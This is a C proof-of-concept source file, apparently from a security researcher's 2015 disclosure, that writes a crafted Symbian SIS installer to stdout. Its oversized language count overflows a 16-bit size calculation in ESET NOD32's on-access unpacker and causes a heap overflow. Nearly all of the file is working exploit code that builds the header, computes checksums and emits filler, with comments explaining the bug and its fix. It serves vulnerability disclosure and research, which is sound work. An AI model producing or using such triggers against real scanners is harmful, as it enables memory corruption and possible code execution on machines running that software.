#include <stdio.h>
#include <stdint.h>
#include <stddef.h>
//
// ESET NOD32 Heap overflow unpacking EPOC installation files.
//
// By creating a file record with type SIS_FILE_MULTILANG (meaning a different
// file is provided for every supported language), and then claiming to support
// a very large number of languages, a 16-bit calculation overflows. This leads
// to a nice clean heap overflow.
//
// The maximum possible value for the number of languages is 99, because only
// 99 language codes are defined. Even if you included a different file for
// every language it wouldn't exceed 99.
//
// So the bug is, check for overflow if you want to support non-existant
// language codes, or cap it at 99.
//
// FWIW, I think ESET don't implement UID2=0x10003A12 correctly. That uid is
// supposed to extend the file record size...but then I think about why
// they're unpacking EPOC installer files onacess as root on a x86_64
// Windows 8.1 machine in 2015 and my f!@#%$ing brain starts hurting, so
// whatevs.
//
// Tavis Ormandy <taviso@google.com>, June 2015
//
#pragma pack(1)
#define SIS_OPT_NOCOMPRESS 0x08
#define SIS_FILE_MULTILANG 0x01
struct symbian {
uint32_t uid1;
uint32_t uid2;
uint32_t uid3;
struct {
uint16_t crchi;
uint16_t crclo;
} uid4;
uint16_t checksum;
uint16_t numlangs;
uint16_t numfiles;
uint16_t numreqs;
uint16_t language;
uint16_t files;
uint16_t drive;
uint16_t numcaps;
uint32_t installver;
uint16_t options;
uint16_t type;
struct {
uint16_t major;
uint16_t minor;
} version;
uint32_t variant;
uint32_t langptr;
uint32_t fileptr;
uint32_t reqptr;
uint32_t certptr;
uint32_t nameptr;
};
struct filerecord {
uint32_t rectype;
uint32_t type;
uint32_t details;
uint32_t srcnamelen;
uint32_t srcnameptr;
uint32_t dstnamelen;
uint32_t dstnameptr;
};
static uint16_t crc16(void *data, size_t count, uint16_t init) {
uint32_t polynomial = 0x1021;
uint32_t table[256] = {0};
uint32_t index;
uint8_t *value = data;
for (index = 0; index < 128; index++) {
uint32_t carry = table[index] & 0x8000;
uint32_t temp = (table[index] << 1) & 0xffff;
table[index * 2 + (carry ? 0 : 1)] = temp ^ polynomial;
table[index * 2 + (carry ? 1 : 0)] = temp;
}
for (index = 0; index < count; index++) {
init = (init << 8) ^ table[((init >> 8) ^ value[index]) & 0xff];
}
return init;
}
int main(int argc, char **argv)
{
struct symbian header = {0};
struct filerecord file = {0};
uint8_t *ptr;
uint32_t i;
ptr = (void *) &header;
header.uid1 = 0x10000000; // Default UID
header.uid2 = 0x1000006D; // EPOC Release 3/4/5
header.uid3 = 0x10000419; // Magic
header.numlangs = 0x8000;
header.options = SIS_OPT_NOCOMPRESS;
header.numfiles = 1;
header.fileptr = sizeof header;
// WTF were symbian smoking when they came up with this?
for (i = 0; i < offsetof(struct symbian, uid4); i += 2) {
header.uid4.crchi = crc16(ptr + i + 0, 1, header.uid4.crchi);
header.uid4.crclo = crc16(ptr + i + 1, 1, header.uid4.crclo);
}
// So there are header.numlangs files described. Just the record is enough
// to demonstrate the bug, so the data isn't generated.
file.rectype = SIS_FILE_MULTILANG;
fwrite(&header, sizeof header, 1, stdout);
fwrite(&file, sizeof file, 1, stdout);
// BUG! ESET assume the size will fit in a short, it overflows, and we get
// a nice clean heap overflow.
for (i = 0; i < header.numlangs; i++) {
fwrite("AAAA", 4, 1, stdout); // FileLen
}
for (i = 0; i < header.numlangs; i++) {
fwrite("BBBB", 4, 1, stdout); // FilePtr
}
return 0;
}